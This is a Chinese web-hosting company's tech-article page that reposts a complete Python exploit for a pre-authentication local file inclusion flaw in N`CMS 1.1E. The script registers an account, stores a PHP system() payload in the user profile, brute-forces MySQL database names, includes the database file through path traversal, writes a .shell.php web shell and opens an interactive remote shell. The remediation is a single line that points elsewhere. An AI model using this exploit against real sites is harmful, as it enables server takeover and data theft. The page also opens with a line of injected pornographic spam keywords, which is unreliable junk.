亚洲韩日午夜视频,欧美日韩在线精品一区二区三区,韩国超清无码一区二区三区,亚洲国产成人影院播放,久草新在线,在线看片AV色

您好,歡迎來到思海網(wǎng)絡,我們將竭誠為您提供優(yōu)質(zhì)的服務! 誠征網(wǎng)絡推廣 | 網(wǎng)站備案 | 幫助中心 | 軟件下載 | 購買流程 | 付款方式 | 聯(lián)系我們 [ 會員登錄/注冊 ]
促銷推廣
客服中心
業(yè)務咨詢
有事點擊這里…  531199185
有事點擊這里…  61352289
點擊這里給我發(fā)消息  81721488
有事點擊這里…  376585780
有事點擊這里…  872642803
有事點擊這里…  459248018
有事點擊這里…  61352288
有事點擊這里…  380791050
技術支持
有事點擊這里…  714236853
有事點擊這里…  719304487
有事點擊這里…  1208894568
有事點擊這里…  61352289
在線客服
有事點擊這里…  531199185
有事點擊這里…  61352288
有事點擊這里…  983054746
有事點擊這里…  893984210
當前位置:首頁 >> 技術文章 >> 文章瀏覽
技術文章

N`CMS 1.1E 本地文件包含漏洞及修復

添加時間:2011-3-12  添加: admin 

N`CMS 是一款內(nèi)容管理系統(tǒng),N`CMS 存在本地文件包含漏洞,可能導致敏感信息泄露。

[+]info:
~~~~~~~~~
N`CMS 1.1E Pre-Auth Local File Inclusion Remote Code Exploit

[+]poc:
~~~~~~~~~
 
#!/usr/bin/python  # ~INFORMATION  # Exploit Title:    N`CMS 1.1E Pre-Auth Local File Inclusion Remote Code Exploit  # Date:         11/3/2011  # Software link:    http://bit.ly/eJAyw5  # Tested on:        Linux bt  # Version:      1.1E  # PHP.ini Settings: gpc_magic_quotes = Off     # Note: The web application was lucky to not be exploited by session   # injection with a malicious username example <?php system($_GET[cmd])>   # as htmlentities() encoded the bracket :-)     # ~VULNERABLE CODE  '''  <?php  if( isset( $_GET['page'] ) )  {      if( file_exists( 'page/'.$_GET['page'].'.php' ) )      {          include( 'page/'.$_GET['page'].'.php' );      }      else      {          include( 'page/404.php' );      }  }  else  {      include( 'page/home.php' );  }  ?>  ''' import random,time,sys,urllib,urllib2,re,httplib,socket,base64,os,getpass  from optparse import OptionParser  from urlparse import urlparse,urljoin  from urllib import urlopen  from cookielib import CookieJar     __CONTACT__ ="TecR0c(tecr0c@tecninja.net)" __DATE__ ="11.3.2011"    usage = 'Example : %s http://localhost/ncms/ -c user:pass -w databases.txt -p 127.0.0.1:8080' % __file__  parser = OptionParser(usage=usage)  parser.add_option("-p","--proxy", type="string",action="store", dest="proxy",          help="HTTP Proxy <server>:<port>")  parser.add_option("-w","--wordlist", type="string",action="store", dest="wordlist",          help="file to use to bruteforce database")  parser.add_option("-c","--credentials", type="string",action="store", dest="credentials",default="hacker:ph33r",          help="credentials for login, "     "or [default: %default]")     (options, args) = parser.parse_args()     if options.proxy:      print '[+] Using Proxy'+options.proxy     # User Agents  agents = ["Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)",          "Internet Explorer 7 (Windows Vista); Mozilla/4.0 ",          "Google Chrome 0.2.149.29 (Windows XP)",          "Opera 9.25 (Windows Vista)",          "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)",          "Opera/8.00 (Windows NT 5.1; U; en)"]  agent = random.choice(agents)     traversal = './../../../../../../../..'    def banner():      if os.name == "posix":          os.system("clear")      else:          os.system("cls")      header = '''  |----------------------------------------|  |Exploit: N'CMS LFI RCE  |Author: %s  |Date: %s  |----------------------------------------|\n  '''%(__CONTACT__,__DATE__)      for i in header:          print "\b%s"%i,          sys.stdout.flush()          time.sleep(0.005)     def proxyCheck():          if options.proxy:                  try:                          h2 = httplib.HTTPConnection(options.proxy)                          h2.connect()                          print "[+] Using Proxy Server:",options.proxy                  except(socket.timeout):                          print "[-] Proxy Timed Out\n"                         pass                         sys.exit(1)                  except(NameError):                          print "[-] Proxy Not Given\n"                         pass                         sys.exit(1)                  except:                          print "[-] Proxy Failed\n"                         pass                         sys.exit(1)     def getProxy():          try:                  proxy_handler = urllib2.ProxyHandler({'http': options.proxy})          except(socket.timeout):                  print "\n[-] Proxy Timed Out"                 sys.exit(1)          return proxy_handler     cj = CookieJar()  if options.proxy:      opener = urllib2.build_opener(getProxy(), urllib2.HTTPCookieProcessor(cj))  else:      opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))  opener.addheaders = [('User-agent', agent)]     def registerUser():          webSiteUrl = url.geturl()+"?page=register"     parameters = {'login' : username,'password': password,'password2' : password,'email' : 'test@test.com',      'register' : '+Enregistrer+'}      encodedParameters = urllib.urlencode(parameters)      try:          opener.open(webSiteUrl, encodedParameters).read()      except:          print '[-] Failed'         sys.exit()      print '[+] Created User, '+username      def edit_profile():          webSiteUrl = url.geturl()+"?page=edit_profil"     parameters = { 'User-Agent' : agent,      'profil' : '<?php system(base64_decode($_REQUEST["cmd"]));?>','edit_profil' : '+Enregistrer+'}      encodedParameters = urllib.urlencode(parameters)      try:          response = opener.open(webSiteUrl, encodedParameters).read()      except:          print '[-] Failed'         sys.exit()      print '[+] Added Payload To Page'    def login():          """ Add php payload to database """         webSiteUrl = url.geturl()+"?page=register"     parameters = {'login' : username,'password' : password,'actplayer' : 'login'}      encodedParameters = urllib.urlencode(parameters)      try:          opener.open(webSiteUrl, encodedParameters).read()      except:           print '[-] Failed'         sys.exit()      print '[+] Authenticated To Website'    def traversalCmd(encodedCommand,database):      webSiteUrl = url.geturl()+"?page="+traversal+"/var/lib/mysql/"+database+"/accounts.MYD%00"     parameters = {'cmd' : encodedCommand}      encodedParameters = urllib.urlencode(parameters)      try:          opener.open(webSiteUrl, encodedParameters).read()      except:          print '[-] Failed'         sys.exit()     def postRequestWebShell(encodedCommand):          webSiteUrl = url.geturl()+'.shell.php'     commandToExecute = [      ('cmd',encodedCommand)]      cmdData = urllib.urlencode(commandToExecute)      try:          response = opener.open(webSiteUrl, cmdData).read()      except:          print '[-] Failed'         sys.exit()      return response     def fileCheck():          webSiteUrl = url.geturl()+"?page="+traversal+"/var/lib/mysql/mysql_upgrade_info%00"     try:          response = opener.open(webSiteUrl).read()      except:          print '[-] Failed'         sys.exit()      doesntExist = re.compile(r"Erreur 404")      findAnswer = doesntExist.search(response)      if findAnswer:          "[-] Can Not Use This Techinque"         sys.exit()     def bruteForceDatabase():      try:              databases = open(options.wordlist, "r").readlines()              print "[+] Length Of Wordlist: "+str(len(databases))      except(IOError):              print "[-] Error: Check Your Wordlist Path\n"             sys.exit(1)      for database in databases:              database = database.replace("\r","").replace("\n","")              webSiteUrl = url.geturl()+"?page="+traversal+"/var/lib/mysql/"+database+"/accounts.MYD%00"         print '[X] Testing Database Name: '+database          try:              response = opener.open(webSiteUrl).read()          except urllib2.HTTPError, error:                              print '[-] Failed'         payload = re.compile(r"Erreur 404")          findPayload = payload.search(response)          if not findPayload:              print '[+] Found Database: '+database+'\n'             commandLine(database)     def commandLine(database):      encodedCommand = "echo '<?php system(base64_decode($_REQUEST[cmd]));?>' > .shell.php"     encodedCommand = base64.b64encode(encodedCommand)      traversalCmd(encodedCommand,database)      commandLine = ('[RSHELL] %s@%s# ') % (getpass.getuser(),url.netloc)      while True:          try:              command = raw_input(commandLine)              encodedCommand = base64.b64encode(command)              response = postRequestWebShell(encodedCommand)              print response          except KeyboardInterrupt:              encodedCommand = base64.b64encode('rm .shell.php')              postRequestWebShell(encodedCommand)              print "\n[!] Removed .shell.php\n"             sys.exit()     if "__main__" == __name__:          banner()      try:              url=urlparse(args[0])      except:              parser.print_help()              sys.exit()      getProxy()      username, password = options.credentials.split(':')      proxyCheck()      registerUser()      login()      edit_profile()      fileCheck()      bruteForceDatabase() 修復:本地包含漏洞修復請查閱本站

關健詞:N`CMS 
 

分享到:

頂部 】 【 關閉
版權所有:佛山思海電腦網(wǎng)絡有限公司 ©1998-2024 All Rights Reserved.
聯(lián)系電話:(0757)22630313、22633833
中華人民共和國增值電信業(yè)務經(jīng)營許可證: 粵B1.B2-20030321 備案號:粵B2-20030321-1
網(wǎng)站公安備案編號:44060602000007 交互式欄目專項備案編號:200303DD003  
察察 工商 網(wǎng)安 舉報有獎  警警  手機打開網(wǎng)站